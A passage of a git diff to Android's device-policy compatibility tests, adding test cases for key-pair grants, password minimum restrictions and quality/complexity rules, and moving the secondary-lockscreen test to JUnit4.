+ pos += digest.length;
+ ctr++;
+ } else {
+ System.arraycopy(digest, 0, result, pos, size - pos);
+ break;
+ }
+ }
+ return result;
+ } catch (InvalidKeyException e) {
+ throw new RuntimeException("Error MACing", e);
+ }
+ }
+
+ private static final char[] ENCODE = {
+ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
+ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
+ 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
+ 'Y', 'Z', '2', '3', '4', '5', '6', '7',
+ };
+
+ private static final char SEPARATOR = '-';
+ private static final int LONG_SIZE = 13;
+ private static final int GROUP_SIZE = 4;
+
+ private static String encodeBase32(long input) {
+ final char[] alphabet = ENCODE;
+
+ /*
+ * Make a character array with room for the separators between each
+ * group.
+ */
+ final char[] encoded = new char[LONG_SIZE + (LONG_SIZE / GROUP_SIZE)];
+
+ int index = encoded.length;
+ for (int i = 0; i < LONG_SIZE; i++) {
+ /*
+ * Make sure we don't put a separator at the beginning. Since we're
+ * building from the rear of the array, we use (LONG_SIZE %
+ * GROUP_SIZE) to make the odd-size group appear at the end instead
+ * of the beginning.
+ */
+ if (i > 0 && (i % GROUP_SIZE) == (LONG_SIZE % GROUP_SIZE)) {
+ encoded[--index] = SEPARATOR;
+ }
+
+ /*
+ * Extract 5 bits of data, then shift it out.
+ */
+ final int group = (int) (input & 0x1F);
+ input >>>= 5;
+
+ encoded[--index] = alphabet[group];
+ }
+
+ return String.valueOf(encoded);
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java
index ae4134d..0b47c89 100755
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java
@@ -25,6 +25,10 @@
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
+import static org.testng.Assert.assertThrows;
+
+import static java.util.Collections.singleton;
+
import android.content.ComponentName;
import android.content.Context;
import android.content.pm.PackageManager;
@@ -45,6 +49,8 @@
import com.android.compatibility.common.util.FakeKeys.FAKE_RSA_1;
+import com.google.common.collect.Sets;
+
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
@@ -75,6 +81,13 @@
public class KeyManagementTest extends BaseDeviceAdminTest {
private static final long KEYCHAIN_TIMEOUT_MINS = 6;
+
+ private static final String TEST_ALIAS = "KeyManagementTest-keypair";
+ private static final String NON_EXISTENT_ALIAS = "KeyManagementTest-nonexistent";
+
+ private static final String SHARED_UID_APP1_PKG = "com.android.cts.testapps.shareduidapp1";
+ private static final String SHARED_UID_APP2_PKG = "com.android.cts.testapps.shareduidapp2";
+
private PrivateKey mFakePrivKey;
private Certificate mFakeCert;
@@ -117,6 +130,7 @@
@Override
public void tearDown() throws Exception {
mActivity.finish();
+ mDevicePolicyManager.removeKeyPair(getWho(), TEST_ALIAS);
super.tearDown();
}
@@ -801,30 +815,82 @@
}
public void testHasKeyPair_NonExistent() {
- assertThat(mDevicePolicyManager.hasKeyPair("no-such-key-for-sure")).isFalse();
+ assertThat(mDevicePolicyManager.hasKeyPair(NON_EXISTENT_ALIAS)).isFalse();
}
- public void testHasKeyPair_Installed() throws Exception {
- final String alias = "delegated-cert-installer-test-key-9000";
-
- mDevicePolicyManager.installKeyPair(
- getWho(), mFakePrivKey, new Certificate[]{mFakeCert}, alias, true);
+ public void testHasKeyPair_Installed() {
+ mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+ TEST_ALIAS, /* requestAccess= */ true);
try {
- assertThat(mDevicePolicyManager.hasKeyPair(alias)).isTrue();
+ assertThat(mDevicePolicyManager.hasKeyPair(TEST_ALIAS)).isTrue();
} finally {
- mDevicePolicyManager.removeKeyPair(getWho(), alias);
+ mDevicePolicyManager.removeKeyPair(getWho(), TEST_ALIAS);
}
}
- public void testHasKeyPair_Removed() throws Exception {
- final String alias = "delegated-cert-installer-test-key-9001";
+ public void testHasKeyPair_Removed() {
+ mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+ TEST_ALIAS, /* requestAccess= */ true);
+ mDevicePolicyManager.removeKeyPair(getWho(), TEST_ALIAS);
- mDevicePolicyManager.installKeyPair(
- getWho(), mFakePrivKey, new Certificate[]{mFakeCert}, alias, true);
- mDevicePolicyManager.removeKeyPair(getWho(), alias);
+ assertThat(mDevicePolicyManager.hasKeyPair(TEST_ALIAS)).isFalse();
+ }
- assertThat(mDevicePolicyManager.hasKeyPair(alias)).isFalse();
+ public void testGetKeyPairGrants_NonExistent() {
+ assertThrows(IllegalArgumentException.class,
+ () -> mDevicePolicyManager.getKeyPairGrants(NON_EXISTENT_ALIAS));
+ }
+
+ public void testGetKeyPairGrants_NotGranted() {
+ mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+ TEST_ALIAS, /* requestAccess= */ false);
+
+ assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS)).isEmpty();
+ }
+
+ public void testGetKeyPairGrants_GrantedAtInstall() {
+ mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+ TEST_ALIAS, /* requestAccess= */ true);
+
+ assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS))
+ .isEqualTo(singleton(singleton(getWho().getPackageName())));
+ }
+
+ public void testGetKeyPairGrants_GrantedExplicitly() {
+ mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+ TEST_ALIAS, /* requestAccess= */ false);
+ mDevicePolicyManager.grantKeyPairToApp(getWho(), TEST_ALIAS, getWho().getPackageName());
+
+ assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS))
+ .isEqualTo(singleton(singleton(getWho().getPackageName())));
+ }
+
+ public void testGetKeyPairGrants_Revoked() {
+ mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+ TEST_ALIAS, /* requestAccess= */ true);
+ mDevicePolicyManager.revokeKeyPairFromApp(getWho(), TEST_ALIAS, getWho().getPackageName());
+
+ assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS)).isEmpty();
+ }
+
+ public void testGetKeyPairGrants_SharedUid() {
+ mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+ TEST_ALIAS, /* requestAccess= */ false);
+ mDevicePolicyManager.grantKeyPairToApp(getWho(), TEST_ALIAS, SHARED_UID_APP1_PKG);
+
+ assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS))
+ .isEqualTo(singleton(Sets.newHashSet(SHARED_UID_APP1_PKG, SHARED_UID_APP2_PKG)));
+ }
+
+ public void testGetKeyPairGrants_DifferentUids() {
+ mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+ TEST_ALIAS, /* requestAccess= */ true);
+ mDevicePolicyManager.grantKeyPairToApp(getWho(), TEST_ALIAS, SHARED_UID_APP1_PKG);
+
+ assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS)).isEqualTo(Sets.newHashSet(
+ Sets.newHashSet(SHARED_UID_APP1_PKG, SHARED_UID_APP2_PKG),
+ singleton(getWho().getPackageName())));
}
private void assertGranted(String alias, boolean expected)
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/OrgOwnedProfileOwnerParentTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/OrgOwnedProfileOwnerParentTest.java
index a2c8832..92c7a56 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/OrgOwnedProfileOwnerParentTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/OrgOwnedProfileOwnerParentTest.java
@@ -16,6 +16,9 @@
package com.android.cts.deviceandprofileowner;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_COMPLEX;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED;
+
import static com.android.cts.deviceandprofileowner.BaseDeviceAdminTest.ADMIN_RECEIVER_COMPONENT;
import static com.google.common.truth.Truth.assertThat;
@@ -127,4 +130,17 @@
restriction));
}
+ public void testCanSetPasswordQualityOnParent() {
+ mParentDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+ PASSWORD_QUALITY_COMPLEX);
+ try {
+ assertThat(mParentDevicePolicyManager.getPasswordQuality(
+ ADMIN_RECEIVER_COMPONENT)).isEqualTo(PASSWORD_QUALITY_COMPLEX);
+ assertThat(mParentDevicePolicyManager.isActivePasswordSufficient()).isFalse();
+ } finally {
+ // Cleanup
+ mParentDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+ PASSWORD_QUALITY_UNSPECIFIED);
+ }
+ }
}
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordMinimumRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordMinimumRestrictionsTest.java
new file mode 100644
index 0000000..3a851ff
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordMinimumRestrictionsTest.java
@@ -0,0 +1,210 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_COMPLEX;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.List;
+
+/** Tests minimum password restriction APIs, including on parent profile instances. */
+public class PasswordMinimumRestrictionsTest extends BaseDeviceAdminTest {
+
+ private static final int TEST_PASSWORD_LENGTH = 5;
+ private static final int TEST_PASSWORD_LENGTH_LOW = 2;
+ private static final String[] METHOD_LIST = {
+ "PasswordMinimumLength",
+ "PasswordMinimumUpperCase",
+ "PasswordMinimumLowerCase",
+ "PasswordMinimumLetters",
+ "PasswordMinimumNumeric",
+ "PasswordMinimumSymbols",
+ "PasswordMinimumNonLetter",
+ "PasswordHistoryLength"};
+
+ private DevicePolicyManager mParentDpm;
+ private int mCurrentAdminPreviousPasswordQuality;
+ private int mParentPreviousPasswordQuality;
+ private List<Integer> mCurrentAdminPreviousPasswordRestriction = new ArrayList<Integer>();
+ private List<Integer> mParentPreviousPasswordRestriction = new ArrayList<Integer>();
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+
+ mParentDpm = mDevicePolicyManager.getParentProfileInstance(ADMIN_RECEIVER_COMPONENT);
+ mCurrentAdminPreviousPasswordQuality =
+ mDevicePolicyManager.getPasswordQuality(ADMIN_RECEIVER_COMPONENT);
+ mParentPreviousPasswordQuality = mParentDpm.getPasswordQuality(ADMIN_RECEIVER_COMPONENT);
+ mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
+ mParentDpm.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
+ for (String method : METHOD_LIST) {
+ mCurrentAdminPreviousPasswordRestriction
+ .add(invokeGetMethod(method, mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT));
+ mParentPreviousPasswordRestriction
+ .add(invokeGetMethod(method, mParentDpm, ADMIN_RECEIVER_COMPONENT));
+ }
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ for (int i = 0; i < METHOD_LIST.length; i++) {
+ invokeSetMethod(METHOD_LIST[i], mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT,
+ mCurrentAdminPreviousPasswordRestriction.get(i));
+ invokeSetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT,
+ mCurrentAdminPreviousPasswordRestriction.get(i));
+ }
+ mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+ mCurrentAdminPreviousPasswordQuality);
+ mParentDpm.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, mParentPreviousPasswordQuality);
+ super.tearDown();
+ }
+
+ public void testPasswordMinimumRestriction() throws Exception {
+ for (int i = 0; i < METHOD_LIST.length; i++) {
+ invokeSetMethod(METHOD_LIST[i], mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT,
+ TEST_PASSWORD_LENGTH + i);
+ invokeSetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT,
+ TEST_PASSWORD_LENGTH + 2 * i);
+
+ // Passing the admin component returns the value set for that admin, rather than
+ // aggregated values.
+ assertEquals(
+ getMethodName(METHOD_LIST[i])
+ + " failed to get expected value on mDevicePolicyManager.",
+ TEST_PASSWORD_LENGTH + i, invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager,
+ ADMIN_RECEIVER_COMPONENT));
+
+ // Passing the admin component returns the value set for that admin, rather than
+ // aggregated values.
+ assertEquals(
+ getMethodName(METHOD_LIST[i]) + " failed to get expected value on mParentDpm.",
+ TEST_PASSWORD_LENGTH + 2 * i,
+ invokeGetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT));
+ }
+ }
+
+ public void testSetPasswordMinimumRestrictionWithNull() {
+ // Test with mDevicePolicyManager.
+ for (String method : METHOD_LIST) {
+ try {
+ invokeSetMethod(method, mDevicePolicyManager, null, TEST_PASSWORD_LENGTH);
+ fail("Exception should have been thrown for null admin ComponentName");
+ } catch (Exception e) {
+ if (!(e.getCause() instanceof NullPointerException)) {
+ fail("Failed to execute set method: " + setMethodName(method));
+ }
+ // Expected to throw NullPointerException.
+ }
+ }
+
+ // Test with mParentDpm.
+ for (String method : METHOD_LIST) {
+ try {
+ invokeSetMethod(method, mParentDpm, null, TEST_PASSWORD_LENGTH);
+ fail("Exception should have been thrown for null admin ComponentName");
+ } catch (Exception e) {
+ if (!(e.getCause() instanceof NullPointerException)) {
+ fail("Failed to execute set method: " + setMethodName(method));
+ }
+ // Expected to throw NullPointerException.
+ }
+ }
+ }
+
+ public void testGetPasswordMinimumRestrictionWithNullAdmin() throws Exception {
+ for (int i = 0; i < METHOD_LIST.length; i++) {
+ // Check getMethod with null admin. It should return the aggregated value (which is the
+ // only value set so far).
+ invokeSetMethod(METHOD_LIST[i], mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT,
+ TEST_PASSWORD_LENGTH_LOW + i);
+ assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH_LOW + i,
+ invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager, null));
+
+ // Set strict password minimum restriction using parent instance.
+ invokeSetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT,
+ TEST_PASSWORD_LENGTH + i);
+ // With null admin, the restriction should be the aggregate of all admins.
+ assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
+ invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager, null));
+ // With null admin, the restriction should be the aggregate of all admins.
+ assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
+ invokeGetMethod(METHOD_LIST[i], mParentDpm, null));
+
+ // Passing the admin component returns the value set for that admin, rather than
+ // aggregated values.
+ assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH_LOW + i,
+ invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager,
+ ADMIN_RECEIVER_COMPONENT));
+ assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
+ invokeGetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT));
+
+ // Set strict password minimum restriction on current admin.
+ invokeSetMethod(METHOD_LIST[i], mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT,
+ TEST_PASSWORD_LENGTH + i);
+ // Set password minimum restriction using parent instance.
+ invokeSetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT,
+ TEST_PASSWORD_LENGTH_LOW + i);
+ // With null admin, the restriction should be the aggregate of all admins.
+ assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
+ invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager, null));
+ // With null admin, the restriction should be the aggregate of all admins.
+ assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
+ invokeGetMethod(METHOD_LIST[i], mParentDpm, null));
+
+ // Passing the admin component returns the value set for that admin, rather than
+ // aggregated values.
+ assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
+ invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager,
+ ADMIN_RECEIVER_COMPONENT));
+ assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH_LOW + i,
+ invokeGetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT));
+ }
+ }
+
+ /**
+ * Calls dpm.set{methodName} with given component name and length arguments using reflection.
+ */
+ private void invokeSetMethod(String methodName, DevicePolicyManager dpm,
+ ComponentName componentName, int length) throws Exception {
+ final Method setMethod = DevicePolicyManager.class.getMethod(setMethodName(methodName),
+ ComponentName.class, int.class);
+ setMethod.invoke(dpm, componentName, length);
+ }
+
+ /**
+ * Calls dpm.get{methodName} with given component name using reflection.
+ */
+ private int invokeGetMethod(String methodName, DevicePolicyManager dpm,
+ ComponentName componentName) throws Exception {
+ final Method getMethod =
+ DevicePolicyManager.class.getMethod(getMethodName(methodName), ComponentName.class);
+ return (int) getMethod.invoke(dpm, componentName);
+ }
+
+ private String setMethodName(String methodName) {
+ return "set" + methodName;
+ }
+
+ private String getMethodName(String methodName) {
+ return "get" + methodName;
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordQualityAndComplexityTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordQualityAndComplexityTest.java
new file mode 100644
index 0000000..fc4213e
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordQualityAndComplexityTest.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_NONE;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_SOMETHING;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED;
+
+import static org.testng.Assert.assertThrows;
+
+import android.app.admin.DevicePolicyManager;
+
+/** Test combination of quality and complexity. */
+public class PasswordQualityAndComplexityTest extends BaseDeviceAdminTest {
+
+ private DevicePolicyManager mParentDpm;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+
+ mParentDpm = mDevicePolicyManager.getParentProfileInstance(ADMIN_RECEIVER_COMPONENT);
+ clearQualityAndComplexity(mDevicePolicyManager);
+ clearQualityAndComplexity(mParentDpm);
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ clearQualityAndComplexity(mDevicePolicyManager);
+ clearQualityAndComplexity(mParentDpm);
+ super.tearDown();
+ }
+
+ public void testCannotSetComplexityWithQualityOnParent() {
+ mDevicePolicyManager.setRequiredPasswordComplexity(
+ PASSWORD_COMPLEXITY_NONE);
+ mParentDpm.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_SOMETHING);
+
+ assertThrows(IllegalStateException.class, () ->
+ mDevicePolicyManager.setRequiredPasswordComplexity(
+ DevicePolicyManager.PASSWORD_COMPLEXITY_LOW));
+ }
+
+ public void testCannotSetQualityOnParentWithComplexity() {
+ mDevicePolicyManager.setRequiredPasswordComplexity(
+ DevicePolicyManager.PASSWORD_COMPLEXITY_LOW);
+
+ assertThrows(IllegalStateException.class, () ->
+ mParentDpm.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+ PASSWORD_QUALITY_SOMETHING));
+ }
+
+ private static void clearQualityAndComplexity(DevicePolicyManager dpm) {
+ // Clear quality
+ dpm.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_UNSPECIFIED);
+ // Clear complexity
+ dpm.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_NONE);
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java
index 656210f..e014f13 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecondaryLockscreenTest.java
@@ -17,38 +17,57 @@
package com.android.cts.deviceandprofileowner;
import static com.android.compatibility.common.util.TestUtils.waitUntil;
-import static org.testng.Assert.assertThrows;
+import static com.android.cts.deviceandprofileowner.BaseDeviceAdminTest.ADMIN_RECEIVER_COMPONENT;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.admin.DevicePolicyManager;
import android.content.ComponentName;
+import android.content.Context;
import android.content.Intent;
+import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
import android.os.PowerManager;
import android.os.Process;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.Until;
-import android.util.Log;
-import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.After;
import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
import java.util.List;
-public class SecondaryLockscreenTest extends BaseDeviceAdminTest {
+@RunWith(AndroidJUnit4.class)
+public class SecondaryLockscreenTest {
- private static final int UI_AUTOMATOR_WAIT_TIME_MILLIS = 5000;
+ private static final int UI_AUTOMATOR_WAIT_TIME_MILLIS = 10000;
private static final String TAG = "SecondaryLockscreenTest";
+ private Context mContext;
+ private DevicePolicyManager mDevicePolicyManager;
private UiDevice mUiDevice;
@Before
- @Override
public void setUp() throws Exception {
- super.setUp();
+ mContext = InstrumentationRegistry.getContext();
+ assumeTrue(
+ "Device does not support secure lock",
+ mContext.getPackageManager().hasSystemFeature(
+ PackageManager.FEATURE_SECURE_LOCK_SCREEN));
+ mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
+
mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
- runShellCommand("locksettings set-pin 1234");
+ mUiDevice.executeShellCommand("locksettings set-disabled false");
+ mUiDevice.executeShellCommand("locksettings set-pin 1234");
mDevicePolicyManager.clearPackagePersistentPreferredActivities(ADMIN_RECEIVER_COMPONENT,
mContext.getPackageName());
@@ -59,14 +78,14 @@
}
@After
- @Override
public void tearDown() throws Exception {
- super.tearDown();
mDevicePolicyManager.setSecondaryLockscreenEnabled(ADMIN_RECEIVER_COMPONENT, false);
assertFalse(mDevicePolicyManager.isSecondaryLockscreenEnabled(Process.myUserHandle()));
- runShellCommand("locksettings clear --old 1234");
+ mUiDevice.executeShellCommand("locksettings clear --old 1234");
+ mUiDevice.executeShellCommand("locksettings set-disabled true");
}
+ @Test
public void testSetSecondaryLockscreenEnabled() throws Exception {
enterKeyguardPin();
assertTrue("Lockscreen title not shown",
@@ -80,6 +99,7 @@
verifyHomeLauncherIsShown();
}
+ @Test
public void testHomeButton() throws Exception {
enterKeyguardPin();
assertTrue("Lockscreen title not shown",
@@ -91,6 +111,7 @@
verifySecondaryLockscreenIsShown();
}
+ @Test
public void testDismiss() throws Exception {
enterKeyguardPin();
assertTrue("Lockscreen title not shown",
@@ -107,25 +128,24 @@
verifySecondaryLockscreenIsShown();
}
+ @Test(expected = SecurityException.class)
public void testSetSecondaryLockscreen_ineligibleAdmin_throwsSecurityException() {
final ComponentName badAdmin = new ComponentName("com.foo.bar", ".NonProfileOwnerReceiver");
- assertThrows(SecurityException.class,
- () -> mDevicePolicyManager.setSecondaryLockscreenEnabled(badAdmin, true));
+ mDevicePolicyManager.setSecondaryLockscreenEnabled(badAdmin, true);
}
private void enterKeyguardPin() throws Exception {
final PowerManager pm = mContext.getSystemService(PowerManager.class);
- runShellCommand("input keyevent KEYCODE_SLEEP");
- waitUntil("Device still interactive", 5,
- () -> pm != null && !pm.isInteractive());
- runShellCommand("input keyevent KEYCODE_WAKEUP");
- waitUntil("Device still not interactive", 5,
- () -> pm.isInteractive());
- runShellCommand("wm dismiss-keyguard");
- mUiDevice.wait(Until.hasObject(By.res("com.android.systemui", "pinEntry")),
- UI_AUTOMATOR_WAIT_TIME_MILLIS);
- runShellCommand("input text 1234");
- runShellCommand("input keyevent KEYCODE_ENTER");
+ mUiDevice.executeShellCommand("input keyevent KEYCODE_SLEEP");
+ waitUntil("Device still interactive", 5, () -> pm != null && !pm.isInteractive());
+ mUiDevice.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+ waitUntil("Device still not interactive", 5, () -> pm.isInteractive());
+ mUiDevice.executeShellCommand("wm dismiss-keyguard");
+ mUiDevice.wait(
+ Until.hasObject(By.res("com.android.systemui", "pinEntry")),
+ UI_AUTOMATOR_WAIT_TIME_MILLIS);
+ mUiDevice.executeShellCommand("input text 1234");
+ mUiDevice.executeShellCommand("input keyevent KEYCODE_ENTER");
}
private void verifyHomeLauncherIsShown() {
@@ -159,4 +179,4 @@
}
return resolveInfos.isEmpty() ? null : resolveInfos.get(0).activityInfo.packageName;
}
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
index 0d7661c..b59b942 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SecurityLoggingTest.java
@@ -97,6 +97,8 @@
private static final String ARG_BATCH_NUMBER = "batchNumber";
private static final String PREF_KEY_PREFIX = "batch-last-id-";
private static final String PREF_NAME = "batchIds";
+ // system/core/liblog/event.logtags: 1006 liblog (dropped|1)
+ private static final int TAG_LIBLOG_DROPPED = 1006;
// For brevity.
private static final Class<String> S = String.class;
@@ -407,6 +409,11 @@
for (int i = 0; i < events.size(); i++) {
final SecurityEvent event = events.get(i);
+ // Skip liblog dropped event.
+ if (event.getTag() == TAG_LIBLOG_DROPPED) {
+ continue;
+ }
+
verifyPayloadTypes(event);
// Test id for monotonically increasing.
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SimpleKeyguardService.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SimpleKeyguardService.java
index 0c81063..10246cf 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SimpleKeyguardService.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/SimpleKeyguardService.java
@@ -24,10 +24,11 @@
import android.util.DisplayMetrics;
import android.util.Log;
import android.view.Display;
+import android.view.Gravity;
import android.view.SurfaceControlViewHost;
import android.view.View;
import android.widget.Button;
-import android.widget.RelativeLayout;
+import android.widget.LinearLayout;
import android.widget.TextView;
/**
@@ -62,6 +63,8 @@
title.setText(TITLE_LABEL);
Button button = new Button(context);
+ // Avoid potential all caps text transformation on button. (eg. b/172993563)
+ button.setTransformationMethod(null);
button.setText(DISMISS_BUTTON_LABEL);
button.setOnClickListener(ignored -> {
button.setText("Dismissing...");
